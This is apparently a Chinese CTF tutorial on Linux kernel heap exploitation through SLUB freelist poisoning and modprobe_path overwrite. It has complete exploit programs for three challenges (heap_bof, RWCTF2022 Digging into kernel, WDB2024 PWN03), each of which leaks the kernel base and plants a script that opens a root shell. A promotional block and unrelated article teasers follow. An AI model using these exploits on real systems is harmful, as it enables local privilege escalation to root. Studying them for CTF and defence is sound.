Linux kernel 堆溢出利用方法(三)
前言
本文我们通过我们的老朋友heap_bof
来讲解Linux kernel
中任意地址申请的其中一种比赛比较常用的利用手法modprobe_path
(虽然在高版本内核已经不可用了但ctf比赛还是比较常用的)。在通过两道道近期比赛的赛题来讲解。
Arbitrary Address Allocation
利用思路
通过 uaf 修改 object
的 free list
指针实现任意地址分配。与 glibc
不同的是,内核的 slub
堆管理器缺少检查,因此对要分配的目标地址要求不高,不过有一点需要注意:当我们分配到目标地址时会把目标地址前 8
字节的数据会被写入 freelist
,而这通常并非一个有效的地址,从而导致 kernel panic
,因此在任意地址分配时最好确保目标 object
的 free list
字段为 NULL
。
当能够任意地址分配的时候,与 glibc 改 hook 类似,在内核中通常修改的是 modprobe_path
。modprobe_path
是内核中的一个变量,其值为 /sbin/modprobe
,因此对于缺少符号的内核文件可以通过搜索 /sbin/modprobe
字符串的方式定位这个变量。
当我们尝试去执行(execve)一个非法的文件(file magic not found),内核会经历如下调用链:
entry_SYSCALL_64()sys_execve()do_execve()do_execveat_common()bprm_execve()exec_binprm()search_binary_handler()__request_module() // wrapped as request_modulecall_modprobe()
其中 call_modprobe()
定义于 kernel/kmod.c
,我们主要关注这部分代码:
static int call_modprobe(char *module_name, int wait)
{//...argv[0] = modprobe_path;argv[1] = "-q";argv[2] = "--";argv[3] = module_name; /* check free_modprobe_argv() */argv[4] = NULL;info = call_usermodehelper_setup(modprobe_path, argv, envp, GFP_KERNEL,NULL, free_modprobe_argv, NULL);if (!info)goto free_module_name;return call_usermodehelper_exec(info, wait | UMH_KILLABLE);//...
在这里调用了函数 call_usermodehelper_exec()
将 modprobe_path
作为可执行文件路径以 root 权限将其执行。
我们不难想到的是:若是我们能够劫持 modprobe_path
,将其改写为我们指定的恶意脚本的路径,随后我们再执行一个非法文件,内核将会以 root 权限执行我们的恶意脚本。
或者分析vmlinux
即可(对于一些没有call_modprobe()
符号的直接交叉引用即可)。
__int64 _request_module(char a1,__int64 a2,double a3,double a4,double a5,double a6,double a7,double a8,double a9,double a10,...)
{
......if ( v19 ){
......v21 = call_usermodehelper_setup((__int64)&byte_FFFFFFFF82444700, // modprobe_path(__int64)v18,(__int64)&off_FFFFFFFF82444620,3264,0LL,(__int64)free_modprobe_argv,0LL);
......
}
.data:FFFFFFFF82444700 byte_FFFFFFFF82444700 ; DATA XREF: __request_module:loc_FFFFFFFF8108C6D8↑r
.data:FFFFFFFF82444700 db 2Fh ; / ; __request_module+14B↑o ...
.data:FFFFFFFF82444701 db 73h ; s
.data:FFFFFFFF82444702 db 62h ; b
.data:FFFFFFFF82444703 db 69h ; i
.data:FFFFFFFF82444704 db 6Eh ; n
.data:FFFFFFFF82444705 db 2Fh ; /
.data:FFFFFFFF82444706 db 6Dh ; m
.data:FFFFFFFF82444707 db 6Fh ; o
.data:FFFFFFFF82444708 db 64h ; d
.data:FFFFFFFF82444709 db 70h ; p
.data:FFFFFFFF8244470A db 72h ; r
.data:FFFFFFFF8244470B db 6Fh ; o
.data:FFFFFFFF8244470C db 62h ; b
.data:FFFFFFFF8244470D db 65h ; e
.data:FFFFFFFF8244470E db 0
exp
#include "src/pwn_helper.h"#define BOF_MALLOC 5
#define BOF_FREE 7
#define BOF_WRITE 8
#define BOF_READ 9size_t modprobe_path = 0xFFFFFFFF81E48140;
size_t seq_ops_start = 0xffffffff81228d90;struct param {size_t len;size_t *buf;long long idx;
};void alloc_buf(int fd, struct param* p)
{printf("[+] kmalloc len:%lu idx:%lld\n", p->len, p->idx);ioctl(fd, BOF_MALLOC, p);
}void free_buf(int fd, struct param* p)
{printf("[+] kfree len:%lu idx:%lld\n", p->len, p->idx);ioctl(fd, BOF_FREE, p);
}void read_buf(int fd, struct param* p)
{printf("[+] copy_to_user len:%lu idx:%lld\n", p->len, p->idx);ioctl(fd, BOF_READ, p);
}void write_buf(int fd, struct param* p)
{printf("[+] copy_from_user len:%lu idx:%lld\n", p->len, p->idx);ioctl(fd, BOF_WRITE, p);
}int main()
{// len buf idxsize_t* buf = malloc(0x500);struct param p = {0x20, buf, 0};printf("[+] user_buf : %p\n", p.buf);int bof_fd = open("/dev/bof", O_RDWR);if (bof_fd < 0) {puts(RED "[-] Failed to open bof." NONE);exit(-1);}printf(YELLOW "[*] try to leak kbase\n" NONE);alloc_buf(bof_fd, &p);free_buf(bof_fd, &p);int seq_fd = open("/proc/self/stat", O_RDONLY);read_buf(bof_fd, &p);qword_dump("leak seq_ops", buf, 0x20);size_t kernel_offset = buf[0] - seq_ops_start;printf(YELLOW "[*] kernel_offset %p\n" NONE, (void*)kernel_offset);modprobe_path += kernel_offset;printf(LIGHT_BLUE "[*] modprobe_path addr : %p\n" NONE, (void*)modprobe_path);p.len = 0xa8;alloc_buf(bof_fd, &p);free_buf(bof_fd, &p);read_buf(bof_fd, &p);buf[0] = modprobe_path - 0x20;write_buf(bof_fd, &p);alloc_buf(bof_fd, &p);alloc_buf(bof_fd, &p);read_buf(bof_fd, &p);qword_dump("leak modprobe_path", buf, 0x30);strcpy((char *) &buf[4], "/tmp/shell.sh\x00");write_buf(bof_fd, &p);read_buf(bof_fd, &p);qword_dump("leak modprobe_path", buf, 0x30);if (open("/shell.sh", O_RDWR) < 0) {system("echo '#!/bin/sh' >> /tmp/shell.sh");system("echo 'setsid /bin/cttyhack setuidgid 0 /bin/sh' >> /tmp/shell.sh");system("chmod +x /tmp/shell.sh");}system("echo -e '\\xff\\xff\\xff\\xff' > /tmp/fake");system("chmod +x /tmp/fake");system("/tmp/fake");return 0;
}
帮助网安学习,全套资料S信免费领取:
① 网安学习成长路径思维导图
② 60+网安经典常用工具包
③ 100+SRC分析报告
④ 150+网安攻防实战技术电子书
⑤ 最权威CISSP 认证考试指南+题库
⑥ 超1800页CTF实战技巧手册
⑦ 最新网安大厂面试题合集(含答案)
⑧ APP客户端安全检测指南(安卓+IOS)
RWCTF2022 Digging into kernel 1 & 2
题目分析
start.sh
#!/bin/shqemu-system-x86_64 \-kernel bzImage \-initrd rootfs.img \-append "console=ttyS0 root=/dev/ram rdinit=/sbin/init quiet noapic kalsr" \-cpu kvm64,+smep,+smap \-monitor null \--nographic \-s
逆向分析
int __cdecl xkmod_init()
{kmem_cache *v0; // raxprintk(&unk_1E4);misc_register(&xkmod_device);v0 = (kmem_cache *)kmem_cache_create("lalala", 192LL, 0LL, 0LL, 0LL);buf = 0LL;s = v0;return 0;
}
int __fastcall xkmod_release(inode *inode, file *file)
{return kmem_cache_free(s, buf); // maybe double free
}
void __fastcall xkmod_ioctl(__int64 a1, int a2, __int64 a3)
{__int64 data; // [rsp+0h] [rbp-20h] BYREFunsigned int idx; // [rsp+8h] [rbp-18h]unsigned int size; // [rsp+Ch] [rbp-14h]unsigned __int64 v6; // [rsp+10h] [rbp-10h]// v3 __ : 0x8 rsp + 0x0// v4 __ : 0x4 rsp + 0x8// v5 __ : 0x4 rsp + 0xcv6 = __readgsqword(0x28u);if ( a3 ){copy_from_user(&data, a3, 0x10LL);if ( a2 == 0x6666666 ){if ( buf && size <= 0x50 && idx <= 0x70 ){copy_from_user((char *)buf + (int)idx, data, (int)size);return;}}else{if ( a2 != 0x7777777 ){if ( a2 == 0x1111111 )buf = (void *)kmem_cache_alloc(s, 0xCC0LL);return;}if ( buf && size <= 0x50 && idx <= 0x70 ){((void (__fastcall *)(__int64, char *, int))copy_to_user)(data, (char *)buf + (int)idx, size);return;}}xkmod_ioctl_cold();}
}
利用思路
关于内核基址获取,在内核堆基址(page_offset_base
) + 0x9d000 处存放着 secondary_startup_64
函数的地址,而我们可以从 free object
的 next
指针获得一个堆上地址,从而去找堆的基址,之后分配到一个堆基址 + 0x9d000
处的 object
以泄露内核基址,这个地址前面刚好有一片为 NULL 的区域方便我们分配。
#define __PAGE_OFFSET page_offset_base
#define PAGE_OFFSET ((unsigned long)__PAGE_OFFSET)
#define __va(x) ((void *)((unsigned long)(x)+PAGE_OFFSET))/* Must be perfomed *after* relocation. */trampoline_header = (struct trampoline_header *)__va(real_mode_header->trampoline_header);...trampoline_header->start = (u64) secondary_startup_64;
[......]
// vmlinux 查找 secondary_startup_64 基址
.text:FFFFFFFF81000030 ; void secondary_startup_64()
[......]
pwndbg>x/40gx (0xffff9f5d40000000+0x9d000-0x20
0xffff9f5d4009cfe0: 0X0000000000000000 0X0000000000000000
0xffff9f5d4009cff0: 0X0000000000000000 0X0000000005c0c067
0xffff9f5d4009d000: 0xffffffff97c00030 0X0000000000000901
0xffff9f5d4009d010: 0X00000000000006b0 0X0000000000000000
0xffff9f5d4009d020: 0X0000000000000000 0X0000000000000000
至于 page_offset_base
可以通过 object
上的 free list
泄露的堆地址与上 0xFFFFFFFFF0000000
获取。不同版本可查看vmmap
。
exp
#ifndef _GNU_SOURCE
#define _GNU_SOURCE
#endif#include <asm/ldt.h>
#include <assert.h>
#include <ctype.h>
#include <errno.h>
#include <fcntl.h>
#include <linux/keyctl.h>
#include <linux/userfaultfd.h>
#include <poll.h>
#include <pthread.h>
#include <sched.h>
#include <semaphore.h>
#include <signal.h>
#include <stdbool.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/ipc.h>
#include <sys/mman.h>
#include <sys/msg.h>
#include <sys/prctl.h>
#include <sys/sem.h>
#include <sys/shm.h>
#include <sys/socket.h>
#include <sys/syscall.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <sys/xattr.h>
#include <unistd.h>
#include <sys/io.h>size_t modprobe_path = 0xFFFFFFFF82444700;void qword_dump(char *desc, void *addr, int len)
{uint64_t *buf64 = (uint64_t *) addr;uint8_t *buf8 = (uint8_t *) addr;if (desc != NULL) {printf("[*] %s:\n", desc);}for (int i = 0; i < len / 8; i += 4) {printf(" %04x", i * 8);for (int j = 0; j < 4; j++) {i + j < len / 8 ? printf(" 0x%016lx", buf64[i + j]) : printf(" ");}printf(" ");for (int j = 0; j < 32 && j + i * 8 < len; j++) {printf("%c", isprint(buf8[i * 8 + j]) ? buf8[i * 8 + j] : '.');}puts("");}
}struct Data {size_t *buf;u_int32_t offset;u_int32_t size;
};void alloc_buf(int fd, struct Data *data)
{ioctl(fd, 0x1111111, data);
}void write_buf(int fd, struct Data *data)
{ioctl(fd, 0x6666666, data);
}void read_buf(int fd, struct Data *data)
{ioctl(fd, 0x7777777, data);
}int main()
{int xkmod_fd[5];for (int i = 0; i < 5; i++) {xkmod_fd[i] = open("/dev/xkmod", O_RDONLY);if (xkmod_fd[i] < 0) {printf("[-] %d Failed to open xkmod.", i);exit(-1);}}struct Data data = {malloc(0x1000), 0, 0x50};alloc_buf(xkmod_fd[0], &data);close(xkmod_fd[0]);read_buf(xkmod_fd[1], &data);qword_dump("buf", data.buf, 0x50);size_t page_offset_base = data.buf[0] & 0xFFFFFFFFF0000000;printf("[+] page_offset_base: %p\n", page_offset_base);data.buf[0] = page_offset_base + 0x9d000 - 0x10;write_buf(xkmod_fd[1], &data);alloc_buf(xkmod_fd[1], &data);alloc_buf(xkmod_fd[1], &data);data.size = 0x50;read_buf(xkmod_fd[1], &data);qword_dump("buf", data.buf, 0x50);size_t kernel_offset = data.buf[2] - 0xffffffff81000030;printf("kernel offset: %p\n", kernel_offset);modprobe_path += kernel_offset;close(xkmod_fd[1]);data.buf[0] = modprobe_path - 0x10;write_buf(xkmod_fd[2], &data);alloc_buf(xkmod_fd[2], &data);alloc_buf(xkmod_fd[2], &data);strcpy((char *) &data.buf[2], "/home/shell.sh");write_buf(xkmod_fd[2], &data);if (open("/home/shell.sh", O_RDWR) < 0) {system("echo '#!/bin/sh' >> /home/shell.sh");system("echo 'setsid cttyhack setuidgid 0 sh' >> /home/shell.sh");system("chmod +x /home/shell.sh");}system("echo -e '\\xff\\xff\\xff\\xff' > /home/fake");system("chmod +x /home/fake");system("/home/fake");return 0;
}
WDB2024 PWN03
利用思路
基本上和RWCTF2022 Digging into kernel 1 & 2
是一样的,这道题大家拿去练手即可,建议大家自行分析题目,我只把我的exp贴在下面,但是建议大家自己写一个exp。
exp
#ifndef _GNU_SOURCE
#define _GNU_SOURCE
#endif#include <asm/ldt.h>
#include <assert.h>
#include <ctype.h>
#include <errno.h>
#include <fcntl.h>
#include <linux/keyctl.h>
#include <linux/userfaultfd.h>
#include <poll.h>
#include <pthread.h>
#include <sched.h>
#include <semaphore.h>
#include <signal.h>
#include <stdbool.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/ipc.h>
#include <sys/mman.h>
#include <sys/msg.h>
#include <sys/prctl.h>
#include <sys/sem.h>
#include <sys/shm.h>
#include <sys/socket.h>
#include <sys/syscall.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <sys/xattr.h>
#include <unistd.h>
#include <sys/io.h>size_t modprobe_path = 0xFFFFFFFF81E58B80;void qword_dump(char *desc, void *addr, int len)
{uint64_t *buf64 = (uint64_t *) addr;uint8_t *buf8 = (uint8_t *) addr;if (desc != NULL) {printf("[*] %s:\n", desc);}for (int i = 0; i < len / 8; i += 4) {printf(" %04x", i * 8);for (int j = 0; j < 4; j++) {i + j < len / 8 ? printf(" 0x%016lx", buf64[i + j]) : printf(" ");}printf(" ");for (int j = 0; j < 32 && j + i * 8 < len; j++) {printf("%c", isprint(buf8[i * 8 + j]) ? buf8[i * 8 + j] : '.');}puts("");}
}void alloc_buf(int fd, int size)
{printf("[+] kmalloc %d\n", size);ioctl(fd, 0x0, size);
}void free_buf(int fd)
{printf("[+] kfree\n");ioctl(fd, 0x1, 0);
}void read_buf(int fd, size_t* buf, int size)
{printf("[+] copy_to_user %d\n", size);read(fd, buf, size);qword_dump("read_buf", buf, size);
}void write_buf(int fd, size_t* buf, int size)
{printf("[+] copy_from_user %d\n", size);qword_dump("write_buf", buf, size);write(fd, buf, size);
}int main()
{size_t* buf = malloc(0x500);int easy_fd;easy_fd = open("/dev/easy", O_RDWR);alloc_buf(easy_fd, 0xa8);free_buf(easy_fd);read_buf(easy_fd, buf, 0xa8);size_t page_offset_base = buf[0] & 0xFFFFFFFFF0000000;printf("[*] page_offset_base %p\n", page_offset_base);buf[0] = page_offset_base + 0x9d000 - 0x10;write_buf(easy_fd, buf, 0x8);alloc_buf(easy_fd, 0xa8);alloc_buf(easy_fd, 0xa8);read_buf(easy_fd, buf, 0xa8);size_t kernel_offset = buf[2] - 0xFFFFFFFF81000110;printf("[*] kernel offset: %p\n", kernel_offset);modprobe_path += kernel_offset;buf[0] = modprobe_path - 0x20;alloc_buf(easy_fd, 0xa8);free_buf(easy_fd);write_buf(easy_fd, buf, 0x8);alloc_buf(easy_fd, 0xa8);alloc_buf(easy_fd, 0xa8);read_buf(easy_fd, buf, 0x20);strcpy((char *) &buf[4], "/shell.sh\x00");write_buf(easy_fd, buf, 0x30);if (open("/shell.sh", O_RDWR) < 0) {system("echo '#!/bin/sh' >> /shell.sh");system("echo 'setsid /bin/cttyhack setuidgid 0 /bin/sh' >> /shell.sh");system("chmod +x /shell.sh");}system("echo -e '\\xff\\xff\\xff\\xff' > /fake");system("chmod +x /fake");system("/fake");return 0;
}
相关文章:
Linux kernel 堆溢出利用方法(三)
前言 本文我们通过我们的老朋友heap_bof来讲解Linux kernel中任意地址申请的其中一种比赛比较常用的利用手法modprobe_path(虽然在高版本内核已经不可用了但ctf比赛还是比较常用的)。在通过两道道近期比赛的赛题来讲解。 Arbitrary Address Allocation…...
文心一言与千帆大模型平台的区别:探索百度AI生态的双子星
随着人工智能技术的迅猛发展,越来越多的公司开始投入资源开发自己的AI解决方案。在中国,百度作为互联网巨头之一,不仅在搜索引擎领域占据重要位置,还在AI领域取得了显著成就。其中,“文心一言”和“千帆大模型平台”便…...
JavaWeb——SpringBoot原理
10.1. 配置优先级 10.1.1. 配置文件 properties > yml(推荐) > yaml 10.1.2. Java系统属性、命令行参数 命令行参数 > Java系统属性 > 配置文件 10.2. Bean管理 10.2.1. 手动获取bean ApplicationContext,IOC容器对象 10.2.2. bean作用域 10.2.3.…...
【算法】连通块问题(C/C++)
目录 连通块问题 解决思路 步骤: 初始化: DFS函数: 复杂度分析 代码实现(C) 题目链接:2060. 奶牛选美 - AcWing题库 解题思路: AC代码: 题目链接:687. 扫雷 -…...
Oracle RAC 环境下数据文件误建在本地目录的处理过程
问题描述 在 Oracle RAC 环境中,有时会误将数据文件创建在本地目录,导致其他节点无法访问该数据文件,从而报出 ORA-01157 和 ORA-01110 错误。 问题分析 错误日志 Mon Nov 16 19:02:38 2021 Errors in file /u01/app/oracle/diag/rdbms/orc…...
使用R语言绘制简单地图的教程
今天主要讲的部分是绘制静态地图,使用的R语言绘图包是tmap,关于介绍就不多讲,下面开始代码的讲解,小白也可以放心食用。 1、绘制简单的单幅地图,这里以新西兰地区为例 #导入必要的包 library(tmap) library(sp) libr…...
【人工智能】基于PyTorch的深度强化学习入门:从DQN到PPO的实现与解析
《Python OpenCV从菜鸟到高手》带你进入图像处理与计算机视觉的大门! 深度强化学习(Deep Reinforcement Learning)是一种结合深度学习和强化学习的技术,适用于解决复杂的决策问题。深度Q网络(DQN)和近端策略优化(PPO)是其中两种经典的算法,被广泛应用于游戏、机器人控…...
学习threejs,使用设置lightMap光照贴图创建阴影效果
👨⚕️ 主页: gis分享者 👨⚕️ 感谢各位大佬 点赞👍 收藏⭐ 留言📝 加关注✅! 👨⚕️ 收录于专栏:threejs gis工程师 文章目录 一、🍀前言1.1 ☘️THREE.MeshLambertMaterial…...
类和对象(中)
文章目录 目录1. 类的6个默认成员函数2. 构造函数3. 析构函数4. 拷贝构造函数5. 赋值运算符重载5.1 运算符重载5.2 赋值运算符重载5.3 日期类实现 6. const成员函数7. 取地址及const取地址操作符重载 目录 类的6个默认成员函数构造函数析构函数拷贝构造函数赋值运算符重载cons…...
编程之路,从0开始:预处理详解(完结篇)
Hello大家好!很高兴我们又见面啦!给生活添点passion,开始今天的编程之路! 我的博客:<但凡. 我的专栏:编程之路 这一篇预处理详解是我们C语言基础内容学习的最后一篇,也是我们的专栏ÿ…...
[chrome]黑色界面插件,PDF合并插件
Dark Reader_chrome插件下载,最新浏览器扩展,crx离线安装包 - 插件小屋 合并 PDF_chrome插件下载,最新浏览器扩展,crx离线安装包 - 插件小屋 下载的zip包解压成crx,然后把后缀名改为rar,然后解压,再导入解压的目录。...
【c语言】文件操作详解 - 从打开到关闭
文章目录 1. 为什么使用文件?2. 什么是文件?3. 如何标识文件?4. 二进制文件和文本文件?5. 文件的打开和关闭5.1 流和标准流5.1.1 流5.1.2 标准流 5.2 文件指针5.3 文件的打开和关闭 6. 文件的读写顺序6.1 顺序读写函数6.2 对比一组…...
AIGC--AIGC与人机协作:新的创作模式
AIGC与人机协作:新的创作模式 引言 人工智能生成内容(AIGC)正在以惊人的速度渗透到创作的各个领域。从生成文本、音乐、到图像和视频,AIGC使得创作过程变得更加快捷和高效。然而,AIGC并非完全取代了人类的创作角色&am…...
刷题日常(数据流中的中位数,逆波兰表达式求值,最长连续序列,字母异位词分组)
数据流中的中位数 描述 如何得到一个数据流中的中位数?如果从数据流中读出奇数个数值,那么中位数就是所有数值排序之后位于中间的数值。如果从数据流中读出偶数个数值,那么中位数就是所有数值排序之后中间两个数的平均值。我们使用Insert()…...
Redis突然变慢,有哪些原因?
目录 一、存在bigkey 二、如果Redis 实例设置了内存上限 maxmemory,有可能导致 Redis 变慢 三、开启了内存大页 四、使用了Swap 五、网络带宽过载 六、频繁短连接 一、存在bigkey 如果Redis实例中存储了 bigkey,那么在淘汰删除 bigkey 释放内存时&…...
Qt入门1——认识Qt的几个常用头文件和常用函数
1.头文件 ① #include <QPushButton>——“按钮”头文件; ② #include <QLabel>——“标签”头文件; ③ #include <QFont>——“字体”头文件; ④#include <QDebug>——输出相关信息; 2. 常用函数/类的基…...
Banana Pi BPI-CanMV-K230D-Zero 采用嘉楠科技 K230D RISC-V芯片设计
概述 Banana Pi BPI-CanMV-K230D-Zero 采用嘉楠科技 K230D RISC-V芯片设计,探索 RISC-V Vector1.0 的前沿技术,选择嘉楠科技的 Canmv K230D Zero 开发板。这款创新的开发板是由嘉楠科技与香蕉派开源社区联合设计研发,搭载了先进的勘智 K230D 芯片。 K230…...
CSS笔记(一)炉石传说卡牌设计1
目标 我要通过html实现一张炉石传说的卡牌设计 问题 其中必须就要考虑到各个元素的摆放,形状的调整来达到满意的效果。通过这个联系来熟悉一下CSS的基本操作。 1️⃣ 基本概念 在CSS里面有行元素,块元素,内联元素,常见的行元…...
怎么在宿主机上通过ssh连接虚拟机 VirtualBox 中的linux系统
通过 Xshell 连接 VirtualBox 中的 linux 虚拟机,您需要确保以下几个步骤都正确配置: 1. 配置 VirtualBox 网络 您需要将 VirtualBox 虚拟机的网络适配器设置为支持 SSH 连接的模式: 打开 VirtualBox,选择您的 Ubuntu 虚拟机&am…...
Spire.PDF for .NET【页面设置】演示:打开 PDF 时自动显示书签或缩略图
用户打开 PDF 文档时,他们会看到 PDF 的初始视图。默认情况下,打开 PDF 时不会显示书签面板或缩略图面板。在本文中,我们将演示如何设置文档属性,以便每次启动文件时都会打开书签面板或缩略图面板。 Spire.PDF for .NET 是一款独…...
241125学习日志——[CSDIY] [InternStudio] 大模型训练营 [17]
CSDIY:这是一个非科班学生的努力之路,从今天开始这个系列会长期更新,(最好做到日更),我会慢慢把自己目前对CS的努力逐一上传,帮助那些和我一样有着梦想的玩家取得胜利!!&…...
Centos 7 安装 Docker 最新版本
文章目录 一、卸载旧版本二、安装最新版本docker三、问题解决3.1 启动docker报错3.2 启动容器报错 一、卸载旧版本 #如果之前安装过旧版本的Docker,可以使用下面命令卸载 yum remove docker \docker-client \docker-client-latest \docker-common \docker-latest …...
JavaScript的基础数据类型
一、JavaScript中的数组 定义 数组是一种特殊的对象,用于存储多个值。在JavaScript中,数组可以包含不同的数据类型,如数字、字符串、对象、甚至其他数组。数组的创建有两种常见方式: 字面量表示法:let fruits [apple…...
网络安全-------防止被抓包
1.Ios应用网络安全之https 安全套接字层 (Secure Socket Layer, SSL) 是用来实现互联网安全通信的最普遍的标准。Web 应用程序使用 HTTPS(基于 SSL 的 HTTP),HTTPS 使用数字证书来确保在服务器和客户端之间进行安全、加密的通信。在 SSL 连接…...
【Linux】认识进程以及进程的状态
目录 认识进程 基本概念 查看进程 父子进程 进程的状态 进程排队 运行状态 阻塞状态 挂起状态 僵尸进程 孤儿进程 认识进程 基本概念 有些教材上会说:正在运行的程序就是进程。这并没有错误,但是太过于笼统。现在我们深入到Linux底层来了解…...
Parker派克防爆电机在实际应用中的安全性能如何保证?
Parker防爆电机确保在实际应用中的安全性能主要通过以下几个方面来保证: 1.防爆外壳设计:EX系列电机采用强大的防爆外壳,设计遵循严格的防爆标准,能够承受内部可能发生的爆炸而不破损,利用间隙切断原理,防…...
11超全局变量php
超级全局变量是指在php任意脚本下都可以使用 PHP 超级全局变量列表: $GLOBALS:是PHP的一个超级全局变量组,在一个PHP脚本的全部作用域中都可以访问。 $_SERVER:$_SERVER 是一个PHP内置的超级全局变量,它是一个包含了诸如头信息(header)、路…...
路由器中继与桥接
一 . 背景 现在的路由器大多数已经开始支持多种网络连接模式,以下将以TP-Link迷你无线路由器为例进行展开介绍。在TP-Link迷你无线路由器上一般有AP(接入点)模式,Router(无线路由)模式,Repeate…...
[算法] 前缀函数与KMP算法
前缀函数 前缀函数 n x t [ i ] nxt[i] nxt[i]定义为 子串 s [ 1 … i ] s[1\dots i] s[1…i]最长的相等的真前缀与真后缀的长度。 计算前缀函数 scanf("%s",b1);lbstrlen(b1);int j0;nxt[1]0;for(int i2;i<lb;i){while(j&&b[j1]!b[i]) jnxt[j];if(b[j…...
电子学习中的关键游戏化元素
游戏化彻底改变了电子学习领域,提供了一种使学习具有吸引力、互动性和有效性的方法。通过将类似游戏的功能集成到教育平台中,教育工作者可以增强动力,提高知识记忆,并创造动态的学习体验。游戏化的关键要素为设计与学习者产生共鸣…...
通过端口测试验证网络安全策略
基于网络安全需求,项目中的主机间可能会有不同的网络安全策略,这当然是好的,但很多时候,在解决网络安全问题的时候,同时引入了新的问题,如k8s集群必须在主机间开放udp端口,否则集群不能正常的运…...
Mac配置maven环境及在IDEA中配置Maven
Mac配置maven环境及在IDEA中配置Maven 1. 介绍 Maven是一款广泛用于Java等JVM语言项目的工具,它以项目对象模型(POM)为基础进行项目管理,通过POM文件来定义项目信息和依赖关系。同时,它也是构建自动化工具࿰…...
TCP流套接字编程
TCP流套接字与UDP数据报套接字对比 API介绍 TCP协议核心的特点是面向字节流,是通过读取数据(单位字节)来完成通信。 TCP套接字与UDP套接字不同的点在于TCP是通过建立连接,使用输入流和输出流的方式完成通信。 ServerSocket 是…...
《硬件架构的艺术》笔记(七):处理字节顺序
介绍 本章主要介绍字节顺序的的基本规则。(感觉偏软件了,不知道为啥那么会放进《硬件架构的艺术》这本书)。 定义 字节顺序定义数据在计算机系统中的存储格式,描述存储器中的MSB和LSB的位置。对于数据始终以32位形式保存在存储器…...
IDEA2024如何创建Web项目以及配置Tomcat
在Web项目的开发过程中,Tomcat作为一款开源的Servlet容器,扮演着至关重要的角色。它不仅能够提供稳定的运行环境,还支持多种Java EE规范,为开发者提供了丰富的功能支持。因此,正确配置Tomcat服务器对于确保Web项目的顺…...
「Chromeg谷歌浏览器/Edge浏览器」篡改猴Tempermongkey插件的安装与使用
1. 谷歌浏览器安装及使用流程 1.1 准备篡改猴扩展程序包。 因为谷歌浏览器的扩展商城打不开,所以需要准备一个篡改猴压缩包。 其他浏览器只需打开扩展商城搜索篡改猴即可。 没有压缩包的可以进我主页下载。 也可直接点击下载:Chrome浏览器篡改猴(油猴…...
java学习记录12
ArrayList方法总结 构造方法 ArrayList() 构造一个初始容量为 10 的空列表。 ArrayList(int initialCapacity) 构造一个具有指定初始容量的空列表。 实例方法 add(int index, E element) 在此list中的指定位置插入指定元素。 ArrayList<Integer> array…...
网络协议之DNS
一、DNS概述 域名系统(Domain Name System,缩写:DNS)是互联网的一项服务。它作为将域名和IP地址相互映射的一个分布式数据库,能够使人更方便地访问互联网。DNS使用TCP和UDP端口53,通过递归查询请求的方式来…...
第02章_MySQL环境搭建(基础)
1. MySQL 的卸载 1.1 步骤1:停止 MySQL 服务 在卸载之前,先停止 MySQL8.0 的服务。按键盘上的 “Ctrl Alt Delete” 组合键,打开“任务管理器”对话 框,可以在“服务”列表找到“MySQL8.0” 的服务,如果现在“正在…...
反向代理模块
1 概念 1.1 反向代理概念 反向代理是指以代理服务器来接收客户端的请求,然后将请求转发给内部网络上的服务器,将从服务器上得到的结果返回给客户端,此时代理服务器对外表现为一个反向代理服务器。 对于客户端来说,反向代理就相当于…...
【强化学习的数学原理】第05课-蒙特卡洛方法-笔记
学习资料:bilibili 西湖大学赵世钰老师的【强化学习的数学原理】课程。链接:强化学习的数学原理 西湖大学 赵世钰 文章目录 一、通过例子介绍蒙特卡洛二、 MC Basic 算法介绍三、MC Basic 算法例子例1:MC Baxic算法例2:episode le…...
Spring源码(十三):Spring全系列总结
Spring总结篇,不同于之前抽丝剥茧式地纵向深入源码,本次从横向的角度出发,希望可以带个读者一个完全不同的Spring视角。 2024年重置版,搞点不一样的东西。希望通过本篇的内容,将之前的文章全部给串起来。 相关前文: Spring Boot启动加载Spring Web请求处理流程Spring上…...
算法日记 33 day 动态规划(打家劫舍,股票买卖)
今天来看看动态规划的打家劫舍和买卖股票的问题。 上题目!!!! 题目:打家劫舍 198. 打家劫舍 - 力扣(LeetCode) 你是一个专业的小偷,计划偷窃沿街的房屋。每间房内都藏有一定的现金…...
从零开始打造个人博客:我的网页设计之旅
✅作者简介:2022年博客新星 第八。热爱国学的Java后端开发者,修心和技术同步精进。 🍎个人主页:Java Fans的博客 🍊个人信条:不迁怒,不贰过。小知识,大智慧。 ✨特色专栏:…...
用python将一个扫描pdf文件改成二值图片组成的pdf文件
使用墨水屏读书现在似乎越来越流行,这确实有一定的好处,例如基本不发热,电池续航时间超长,基本不能游戏所以有利于沉浸式阅读,还有不知道是不是真的有用的所谓防蓝光伤害。但是,如果阅读的书籍是扫描图片组…...
Electron开发构建工具electron-vite(alex8088)添加VueDevTools(VitePlugin)
零、介绍 本文章的electron-vite指的是这个项目👉electron-vite仓库,electron-vite网站 本文章的VueDevTools指的是VueDevTools的Vite插件版👉https://devtools.vuejs.org/guide/vite-plugin 一、有一个用electron-vite创建的项目 略 二、…...
服务器数据恢复—raid5阵列热备盘上线失败导致EXT3文件系统不可用的数据恢复案例
服务器数据恢复环境: 两组分别由4块SAS硬盘组建的raid5阵列,两组阵列划分的LUN组成LVM架构,格式化为EXT3文件系统。 服务器故障: 一组raid5阵列中的一块硬盘离线。热备盘自动上线替换离线硬盘,但在热备盘上线同步数据…...
网络安全基础——网络安全法
填空题 1.根据**《中华人民共和国网络安全法》**第二十条(第二款),任何组织和个人试用网路应当遵守宪法法律,遵守公共秩序,遵守社会公德,不危害网络安全,不得利用网络从事危害国家安全、荣誉和利益,煽动颠…...
go-rod vs Selenium:自动化测试工具的比较与选择
自动化测试是软件开发过程中的关键环节,它能够帮助我们发现缺陷、验证功能并提高软件质量。随着Web技术的快速发展,市场上出现了多种自动化测试工具,其中Selenium和go-rod是两个备受关注的选择。本文将从多个维度对这两个工具进行比较&#x…...
Ubuntu20.04+ROS 进行机械臂抓取仿真:环境搭建(一)
目录 一、从官网上下载UR机械臂 二、给UR机械臂添加夹爪 三、报错解决 本文详细介绍如何在Ubuntu20.04ROS环境中为Universal Robots的UR机械臂添加夹爪。首先从官方和第三方源下载必要的软件包,包括UR机械臂驱动、夹爪插件和相关依赖。然后,针对gazeb…...